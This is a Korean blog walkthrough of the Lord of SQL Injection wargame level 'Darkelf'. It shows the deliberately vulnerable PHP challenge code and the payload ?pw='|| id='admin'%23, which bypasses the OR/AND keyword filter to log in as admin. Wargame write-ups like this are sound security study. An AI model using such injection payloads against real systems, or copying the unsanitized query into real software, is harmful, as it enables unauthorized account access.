개인 공부/WEB

[웹해킹] LOS 6 - (Darkelf)

아메리카노와떡볶이 2021. 5. 30. 03:41
728x90
Lord of sql injection - Darkelf 풀이

los 6번 Darkelf에 대한 풀이 포스팅입니다.

이번 문제에 추가된 필터링은 or과 and입니다.

or과 and를 사용하지않고 admin 레코드를 얻어내면 해결할 수 있는 문제입니다. 우회법이 각각 || 기호와 &&기호를 사용하는 것으로 간단하기때문에 바로 풀이하겠습니다.

 

풀이

방금 언급했듯이, or과 and에 대한 우회를 찾는 것이 핵심 풀이입니다. || 기호와 &&기호를 통해 해결가능하기때문에

바로 작성하겠습니다.

 <?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect();  
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if(
$result['id'] == 'admin'solve("darkelf"); 
  
highlight_file(__FILE__); 
?>

 

 

 

?pw=' or id = 'admin'%23 에서 or을 사용못하기때문에 || 기호를 사용합니다.

?pw='|| id='admin'%23

 

결과

 

 

 

728x90